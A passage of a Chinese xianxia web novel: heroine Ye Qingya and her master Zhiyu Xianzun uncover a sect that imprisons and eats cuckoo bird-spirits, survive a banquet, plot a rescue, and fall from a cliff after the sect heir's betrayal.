老万出声安慰道:“少宗主就是心善,您呐放宽心,一会儿用它们的肉给您熬汤喝,补补身子。”
小妖颤抖得更加厉害,手心里的汗也越来越多,最后从她的手里滑下,无力地垂在身侧。
两个身着常服的侍女上前搀走小妖,它不安地回头看她一眼,乖顺地跟她们离开了。
老万解释道:“少宗主去换身衣服,一会儿就过来。”
“嗯。”
她跟着老万进到蘑菇内部,屋顶散发着强光,是一个平面,并不是外面看到的弧形。
最里面端坐着体型丰满的中年男人,老万对他行礼道:“宗主,这就是那位贵客。”
中年男人满脸堆笑,请她坐下,“我儿很少带朋友回家,他这些日子不太上进,我看跟你在一起就好很多。”
这人似乎对委托一事并不知情。
铃、铃铃、铃铃铃。
她警惕起来,“什么声音。”
“哦,该给那群鸟喂食了,刚抓了一个病秧子,今天也给它们开开荤。”
她道:“病秧子?”
她激动地站起来,该不会是止语仙尊?
“对,他从天上掉下来正好落在我们饲养场,这会儿应该被吃得就剩骨架子了吧。
15. 食物诡铃
叶清雅抽出灵竹,眨眼间到中年男人身前,灵竹横颈,浑身寒气袭人。
中年男人拍手赞叹:“好俊的身法。”
几乎在同一时刻,四周冒出一群持剑弟子将她团团围住,刀剑相向。
她不屑地从晃眼的刀剑上收回目光,灵竹上的剑气愈发尖锐,冷冷道:“他若死了,你们、谁也跑不了。”
她一点没有瓮中之鳖的自觉,当然,她手下的人质也是。
人质此时正在毫无危机意识地念开场白。
“正式介绍一下,卷宗宗主,卷王。”
空气中飘散着缕缕香气,这关头定然不会呈上好酒好菜,可它又比饭香更让人沉醉。
卷王道:“好闻吗,该开饭了。”
她猛然回神,忽觉手背奇痒难耐,余光中那里已经起了一片红疙瘩,正在以奇快的速度蔓延。
她想要速战速决,可刚催动灵气,脑袋里炸开一簇烟花,五色流光蒙蔽了她的双眼。
她看不见了。
她感觉有人在推搡她,粗糙的麻绳带着细小的倒刺扎进她的皮肤,脑袋重重地磕在什么上,咚得一声,很响,在她脑子里震出层层回音。
痛感如潮水般退去,世界从喧闹到窃窃私语,最后她只能听到被动递到耳边的话。
“想治我,再练个八百年吧。”
死寂。
整个世界抛弃了她,自己什么也感知不到。
她赤脚走在水面上,荡起一圈涟漪。
白色,一望无际的白色,她分不清这是云端抑或是海面。
前面。天边传来隐约的歌声,引着她踩着水花,去追逐天地间唯一的声音。
她不知道自己走了多久,那歌声依旧虚无缥缈。
她停下脚步,躺在水面上,闭上眼睛。
既无来处,何求归去?仙音缈缈,愚人昏昏。
堪不破,不堪了;卷不动,摆烂吧。
累了,就这样吧。
有水滴声,一下接一下,她感受到了雨滴的清凉,睁开眼,又看到了天边七彩的虹桥。
那天籁般的歌声渐渐清晰,低沉浑厚的嗓音让人心安,涤荡心灵。
她的世界洗去铅华又重新铺上色彩,变得热闹起来。
“哎有用!接着唱,别停。”
“我看到她眼皮动了,醒啦,女侠醒啦!咕咕咕!”
她费力睁开眼,歌声也停止了,眼前的黑影正往她嘴里送着什么东西,她被迫咽下,果然好很多。
她为重新找回做人的感觉,大大松了一口气。
这才看清眼前这人是止语仙尊,活的。
她抬手搭上他的肩膀,借力坐起来,欣慰道:“太好了,你没死。”
他将自己搂入怀中,道一声:“同喜。”
她无奈地摇摇头,笑他的孩子气。
周围聚拢了一堆鸟,有的刚化形,有的才化形一半,满屋子的羽毛乱飞,群鸟的咕咕声不绝于耳。
她大致听懂了,它们这是在欢迎新狱友的加入,有人陪它们吃花生米了。
她感觉恢复些力气,从止语仙尊的怀里起身,看到他头上的一只灰羽,忍不住动手去摘。
“是你救了我?”
止语仙尊摇头,指向鸟群道:“是它。”
小妖从群鸟后面挤上来,它存在感这么低,自己刚才竟然没发现。
小妖双手交握胸前,时不时偷看自己一眼,吞吞吐吐地说:“对不起。”
她双手叉腰,耐心等他说完,“还有呢?”
“还有、还有......”
群鸟叽叽喳喳把话都抢在他头面说了:
“这里的蘑菇屋会放毒气,少宗主有解药,他给你吃的!”
“他给我们也吃了,你闻闻,就是这香气,好香、嘿嘿不晕。”
她觉得这群鸟比那帮人还疯,不禁问道:“它们是什么鸟?”
止语仙尊拨开一只晃晃悠悠的大鸟,“杜鹃,借窝养子,食毒虫,益鸟也。”
不就是生了孩子给别人养,遭族群嫌弃被发配边疆的一群聒噪鹃吗。
她对小妖说道:“你叫我们来是救它们的吧。”
小妖摇头、又点头,像拨浪鼓一样没个准话。
她道:“既如此,我便走了。”
这小妖家人生龙活虎,不像是被绑的;倒是这群鸟。
可它们虽然被囚禁,终归是有人养,也不亦乐乎。
只有他们师徒二人在这儿是多余的。
小妖张开双臂,阻拦道:“不、不走。秘籍,不给你,留下来陪、陪我。”
止语仙尊也站起身,拍拍身上的羽毛,“我也建议留下。你刚昏迷的时候参悟大道,修为就快要突破金丹,若这时再不修习无情道心法,以后,就真只能随为师一道了。”
怪不得醒来之后她就感觉自己不一样了,原来心境这东西,是自己给的。
“好。可师父您为何出现在此地?”
止语仙尊早料到她会发问,变出一只巾帕擦眼泪:“都怪我那徒儿走得急,差点把我摔死。”
这确实是她干的,但自由落体也不会落到百里开外吧。
铃、铃铃、铃铃铃。
空气仿佛按下暂停键,屋子里所有的鸟瞬时安静下来,睁着恐惧的双眼,等待不知名的审判。
铁门被打开,走进来十数名壮汉,只有一个拿菜刀的厨子显得格格不入。
厨子的大嗓门扩音道:“开饭啦。嘿,今天选谁呢。”
他精明的目光扫过每一只杜鹃,沉稳的步伐是死亡的倒计时,手点向谁,谁就是今天的盘中餐。
他邪恶的手拂过一只半人半鸟的翅膀,吓得它振翅高飞不到两米,就摔在地上,被项圈勒得喘不过气。
他又扒拉开一只化形一半的杜鹃,人的头,鸟的身体,还是个孩童模样。
厨子咧嘴一笑:“就是你了。”
小杜鹃被吓得变回原形,正方便厨子拎着它往外走,他扬手示意,守卫弟子往屋里扔进来一袋活物便撤走。
叶清雅拦住厨子,“放下它。”
厨子饶有兴趣地打量着她:“哦?你要替代它吗。
让我想想,我今天杀你一次,明天杀你一次,你有几条命来换它们所有鸟的命呢?哈哈哈哈哈哈哈。”
“放肆。”
厨子的笑声被噎回去,连叶清雅自己都吃惊地转头。
小妖正板正着脸,一点没有以往唯唯诺诺的姿态。
厨子咽了下口水,再不敢造
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次,俯首道:“怪小的瞎了眼,请少宗主赎罪,我该死,瞧我这贱嘴。”他说一句便往自己脸上扇一巴掌,态度极其卑微。
小妖道:“够了。今晚清淡点,贵客不喜荤腥。”
“可是...”
厨子看到小妖凌厉的眼神,连忙应是,出了屋子。
他们走后,小妖瘫坐在地,止不住地颤抖。
“这、这就是开饭,拿命、命,换口粮。”他捂着脸又哭又笑极其悲伤。
“我是少宗主,吃同类的少宗主,哈哈哈哈。”
刚刚被项圈勒得半死的杜鹃这时缓过气,已无力变成人形,飞到小妖肩头低落地说:“少宗主你走吧,我们,该开饭了。”
她不知怎么安慰小妖,倒是那袋子口粮引得她注意。便去到上下翻腾的袋子前,心里一阵恶寒,“这是什么东西?”
她正要打开一看究竟,被另一双手拦住去路。
止语仙尊道:“脏东西,别摸。”
她听话地收手,但好奇心不减反增,眼睛像长在了这袋子上。
止语仙尊喊着她出门,小妖也跟上来,屋门在他们身后关闭,再也听不见里面的声音。
止语仙尊道:“是念力。你可以理解为鬼妖身上的怨气。”
她反问:“你怎么知道?”
止语仙尊故作惆怅,“我比你早掉进来,自然是看它们吃过一次。”
她双眼放光,“这么说,兔姨有救啦?”
小妖插话道:“兔姨是谁?”
“她...是鬼妖。”
小妖分析道:“它们吃念力的时候是真吃,并不是净化,如果把鬼妖放他们面前,可能就是神魂俱灭。”
那还是算了。
他们在迷宫是的蘑菇房子边上穿行,到处都有鸟扑扇翅膀的声音,却不见一只鸟,颇为诡异。
这里的气候不算湿润,却种着蘑菇做成的房子。
她问小妖:“你们这儿有地下水吗。”
小妖道:“没,我们这、缺缺水,下雨了,要靠这些蘑菇把、把水存、存起来,留着平、时用。”
她道:“没有水,怎么长的蘑菇?”
小妖带他们来到一幢屋子近前,用力踹两下蘑菇屋的墙,细腻的纤维伸缩凹陷,挤出一团水落到地上。
水慢慢渗到地底,眨眼间地面就变得干燥,有一层血阵渐渐现形,转瞬即逝。
“是阵法在维持蘑菇屋的水分。”
小妖点点头。
她看向止语仙尊,后者摆摆手表示不知道这是什么阵法。
小妖催促道:“快走吧,饭该凉了。”
她正想说他们早已辟谷不需要吃饭,轰隆一声,三人顿住脚步。
“一。”
又一烟花在空中绽放。
“二。”
她问闭着眼数数的小妖:“你在数什么?”
小妖道:“三。
吉凶。
炸一下是新生之喜,两下是、是乔迁、喜,三下是升、升迁,四下是——”
第四响烟花炸响天空,紧接着一支窜天猴直冲云霄,小妖一脸惊愕。
他带着深切的悲痛道:“杜鹃族、族长殁。
杜鹃一族,这、这下,彻底完了。”
16. 暗流涌动
烟花声渐息,小妖却愣在原地久久没有回神。
叶清雅伸手在它眼前晃了晃,“你要是像刚才那样,拿出少宗主的气势到你父亲那里说情,没准他就把杜鹃一族放了。”
小妖眸色复杂地看她一眼,带着他们继续走,好一会儿后才闷声开口道:“刚、刚才的气势,是、是...”
身旁传来一道声音:“是我。”
她转头看去,止语仙尊不知从哪里弄来一把扇子,“唰”得展开,正兀自把玩着,她质疑道:“你?怎么做到的。”
他不怀好意地一笑:“想试试?”
她抬手回绝:“不必了,就你那点灵气还是省省吧。”
他故作惋惜道:“可惜了,还想看看能不能用在人类身上。”又转头对偷瞄他的小妖说:“看什么,难道你看着自己像个人吗。”
叶清雅拍了一下止语仙尊以作警告,“别欺负他。”
他努努嘴不再说话。
小妖挤出一个笑容说:“没事。”
日头西斜,三人心事重重不发一言,各人的影子在身前被慢慢拉长。
直到她看到自己头上展开一道扇形,活像只开屏的孔雀,还在簌簌抖动着,声音却来自身后。
她皱眉回头,始作俑者轻摇折扇,慢半拍地对上她的目光,无辜道:“怎么了?”
“没什么。”
等她转过头,身后的人轻轻哼唱道:“哎呀,某只小孔雀呀,口是心又非呀、飞呀飞。”
“你!”
她回身的动作被放在肩膀的折扇打断,那扇子轻拍一下又迅速撤走,听他说道:“别急眼,开个玩笑,我们到了。”
在门口迎接的还是老万,他干净利落地领着他们进屋,陪客的人纷纷起身笑脸相迎,上座的卷王也隔着人群向他们无声敬酒。
好像刚刚要置他们于死地的不是眼前这帮人。
宾客落座,珍馐美味由鹃鸟侍女们依次上桌,有坏心眼的贵族偷偷抓下一把鹃鸟侍女的羽毛,引得对方一声小小的惊呼,羞愤地逃走。
“好了,”卷王打断哄堂大笑的众人,继续说道:“今有两大幸事,两位贵客远道而来,此乃其一。而我的老朋友今日魂归大道寿终正寝,此乃其二。双喜临门,我们共同举杯,今夜不醉不归!”
众人纷纷拍手叫好,举杯一饮而尽,叶清雅自己却未动分毫。
卷王将酒杯放下,不怒自威,柔声道:“二位方才怎么不喝,是嫌弃这酒不合胃口?”
她和止语仙尊坐在卷王右手边,后者的位置离卷王最近,他淡淡回道:“我不饮酒。”
卷王故作为难,“可这大喜之日,二位都不喝,说不过去吧。”说罢,将目光落在她自己身上。
感受到卷王的不依不饶,她从面前猩红色酒液上挪开眼,看着面前喝过酒的人像吸血怪物一样让人不适。
她深吸口气平复心情,桌布下的手却紧握成拳在不断颤抖。
一双冰凉的大手轻轻包住她的手背,有节奏地拍着她,自己心里的紧张感被一点点抚平,她松开成拳的手,轻轻捏了一下他的大拇指。
她看向卷王,礼貌微笑着一字一句道:“酒可以喝,不过这酒里有血腥味,我也确实喝、不、惯。”
卷王鼓掌赞叹,“叶仙师好眼力,这酒是用上等鸟妖血酿制而成,有价无市,只是,可惜了。”
就算卷王不明说,这血十有八九是来自杜鹃鸟。
这句话就像一个信号,长桌上吃饭的人渐渐停下手里的动作,将手藏到桌布下面。
“父亲。水、水更贵、重,给、贵、客、喝。”小妖为了不磕巴,每个字都咬得很清楚,说得很慢。
他终究是对上了父亲虎狼似的眼睛,没有退缩。
侍候在一旁的老万走到近前,打圆场道:“少宗主说的有道理,以前我们这儿还是戈壁的时候,每一滴水都是最贵重的,如此说来,把我们最珍贵的水给贵客,也算是入乡随俗。”
卷王朗声大笑,“瞧我这记性,难得我儿开一次口,快给贵客上水。”
“是。”老万奉命给他们二人换上普通水杯。
剩下的时间里,卷王并没有再刁难他们,她便慢慢吃着小妖推给她的一盘素菜,苦熬着时间。
看得出卷王对小妖极其喜爱,他命人盛碗肉汤放到小妖面前,慈爱地哄他喝。
门外慌慌张张跑进来个弟子,附耳对老万说了些什么,老万脸色一变,急忙到卷王身边传达。
卷王对自己儿子不喝肉汤的挑食行为正生闷气,推开想对他小声汇报的老万,没好气道:“大点声,做什么偷偷摸摸地。”
老万道:“是。宗主,杜鹃族新任族长邀您商讨老族长殡葬事宜。”
卷王冷哼一声,“这么快就等不及了。先安排它在老地方住下,别失了礼数,老族长虽然死了,但我们两族不单独会面的规矩不能变。”
老万应声退下。
“等等。以后每天收集六次念力,从今晚开始。”
“是,我这就去安排。”
饭局也到了尾声,自从端来那碗肉汤后,小妖便再没吃任何东西。
卷王道:“我儿,快些吃完,别让大家都等你。”
大门嘭地一声关上,屋外仿佛有无数只大鸟绕着屋子飞旋。
叶清雅神经紧绷,卷王出声安慰道:“别紧张,是他们在收集念力。”
她问道:“怎么收?”
卷王道:“自然是从屋顶上收。”
她抬头望向屋顶,一片雪白刺得她闭上眼睛,什么都没看见,倒是听见隐约的呜咽声。
卷王对小妖意味深长地说:“你什么时候吃完,什么时候让它们休息,念力多争取一下总会有的。”
她劝说道:“他不愿就别强迫他。”
眼见卷王就要发作,小妖道:“我吃。”一口气喝干了肉汤,留下一块翅骨在碗底。
骨头和碗底碰出叮呤脆响。
什么东西开始咚咚咚撞着屋顶,紧接着那里爆发出一声啼血哀鸣,屋顶的灯光忽明忽暗,隐约显现出一只大鸟的身形。
身边人凑过来,低声问:“它在说什么?”
她摇头。
“你不是能听懂动物说话吗?”
她扒拉开凑到跟前的脑袋,心中烦躁:“这道声音加密了,我听不懂。”
他意味深长地哦了一声。
此时,卷王和卷宗的其他贵族爆发出赞许的笑声,每个人脸上都带着九
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分醉意,没人注意到小妖失魂似的双眼。
“不愧是我儿,当初你挨那畜生一爪子一声不吭,我就知道你有当宗主的潜质,就是这儿,”卷王拍着小妖右肩,“深可见骨啊。”
吹嘘一番后卷王终于放众人离开,叶清雅在屋外拉住要走的小妖,悄悄对它说:“我们应该救它们。你吃的肉、还有酒杯底座上镶的骨头,都是杜鹃鸟的,对吧?
今晚。
你去找关着它们的钥匙,其他的我来想办法。”
小妖抬头道:“什么办法?”
她道:“破坏阵法,烧掉蘑菇屋。”
小妖郑重点头,快步离去。
止语仙尊道:“你觉得他可信吗。”
她点头道:“我刚刚在他眼里看到了希望。不过他配不配合无所谓,毁掉阵法才是关键。”
他捉起她戴着木镯的手,“你可还记得任务令牌上写的是‘翼族暴乱’?而不是人族。”
她固执道:“我只相信我亲眼看到的。”
他道:“好吧。要闹,就往大了闹。不如和外面的杜鹃新族长里应外合,让它们趁乱救走被关起来的杜鹃。”
他们一拍即合,假装去卷宗给安排的客房就寝,半夜偷偷出屋,分头行动。
止语仙尊留在里面研究阵法、接应小妖,她去宗外夜谈杜鹃新族长。
临行前,她送给他一块玉石。
“我参考储物袋里面的阵法纹路研究出了储灵石,送你了,要是遇到危险,拿它来应急。”
他接过储灵石,继续埋头研究阵法,连感谢都不说一声。
她不和他计较,抓紧出发,所幸这一路上没碰到什么人。
除了一只妖。
她碰见它的时候,它正呆头呆脑地在每一个蘑菇屋的伞状屋顶下面徘徊,收集着上面吊垂下来的东西。
直到它看见了她,立刻飞过来机械说道:“少宗主让你过去找他。”
“他为什么不自己过来。”
它想了一会儿,终于在脑海里搜出了答案:“因为他有危险。”
她隐隐感觉事情不对,但跟这只鹃鸟去一趟也没什么危险。
“带路吧。”
他们抄了一条近路,进入树林便再也没有见到蘑菇似的建筑。
她试图和鹃鸟搭话:“你脖子上的项圈难受吗。”
鹃鸟答:“我很快乐,我爱工作。”
她再问:“你们少宗主到底是人还是妖?”
鹃鸟答:“我很快乐,我爱工作。”
她一连问了六个问题,得到的都是同样的答案。她甚至怀疑这是个机械鸟。
鹃鸟停住脚步,落在她后面,她转身问道:“怎么不走了?”
鹃鸟闻言,努力往前飞,却被一堵无形的墙挡在里面。
她不想让它在这里撞得头破血流,“回去吧,别被别人发现。”
鹃鸟木讷地反应了一会儿,身形隐没在漆黑的森淋里。
她继续往前走,密林过后是处开阔的悬崖。
有人躺在悬崖边上,身旁还半蹲着只大鸟。
大鸟缓缓回头,熟悉的声音传来,正是小妖。
“比我想象的要快。别担心,他还活着。”
17. 刚写一半
叶清雅调侃道:“这次不结巴了?”
她叹了口气,“总得有个理由吧。”
小妖揪着止语仙尊的衣领把他拖起来,让他大半个身子都晾在悬崖外。
他悲哀道:“为妖,我吞吃同类;为人,我草菅人命。这天地都弃我而去,难道你还对我有什么期待?”
“我有。我能保证今晚把被囚禁的杜鹃都救出来,”她向小妖伸出手,“加入我们,你和他们不一样。”
小妖冷笑一声,“是吗。”
它毫不犹豫地带着止语仙尊跳下悬崖,喊出最后一句话:“看来我抓错了人,你并不在意他死活。”
她第一时间冲到悬崖边,除了那句话的回音,再不见两人的影子。
事情为什么会变成这样,难道真是她信错了人?
“你没有错,相信你自己,做的很好。”
她的心脏砰砰乱跳,是妈妈的声音。
她难以置信地抬头,真的看到了朝思暮想的人,脱口而出:“妈妈!”
身体先于理智,踏出那一步后,便知这是个圈套,可她也确实扑进了母亲的怀中,享受片刻温暖后坠入无尽深渊。
全身灵力在这一刻不听调动,她只能硬抗身体失重的恐惧,可能是现在,也可能是下一秒,她的□□就会彻底死去。
时间不可逆。
光凭她一个人不可能打开回去的通道。
没有□□支撑,她的意识会立刻消散,而她远在星际联盟的身躯会变成真正的空壳。
她想告诉妈妈,爸爸的照片被她藏在了床底下,她只是不想妈妈再想那个抛弃妻女的负心汉,只要有她就够了。
可连她都不在了,妈妈该怎么办?
要是她也能像妈妈一样进实验室该多好,不至于搭上性命。
她知道作为穿越者十有八九都会死,就算运气不好活成炮灰,她也不想止步于此。
她想活着。
“救命啊!”
强烈的求生欲望让她做最后的挣扎,求求了,如果重来一遍,她一定不信错人,一定听止语仙尊的话不再去多管闲事......
耳边凌厉的风声好像比刚才要小
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一些,漫长的降落像一场无限的凌迟,把她对生的希望削割尽净。
“啊啊啊啊啊啊啊!”
“嗯!”
终于落地,意识随着身体在地上翻滚数圈,并没有离体的迹象。
“哈哈哈我还活着!”她激动地跳起来,黑暗中不小心踩到软乎乎的东西被绊倒,栽倒一块冰凉的垫子上。
“垫子”闷哼一声,她急忙坐起身,四下乱摸,手下的肉紧实富有弹性,往上摸到一个硬实的突起。
她急忙收回手,这冰凉的体温,怕不会是诈尸了吧。
“天灵灵地灵灵,妖魔鬼怪不显形,我保证等我出去后烧香拜佛一定好好供奉你老人家,可千万别诈尸啊。”
身下的东西开口说话了:“我做鬼也不会放过你。”
!!!
她被吓得不轻,一动不敢动僵坐着。
尸体窸窸窣窣地掏出来什么东西,蓝色波光照亮四周,她正对上止语仙尊冷若冰霜的脸,自己正结结实实坐在他的腰上。
此时不做点什么真对不起她这双眼睛。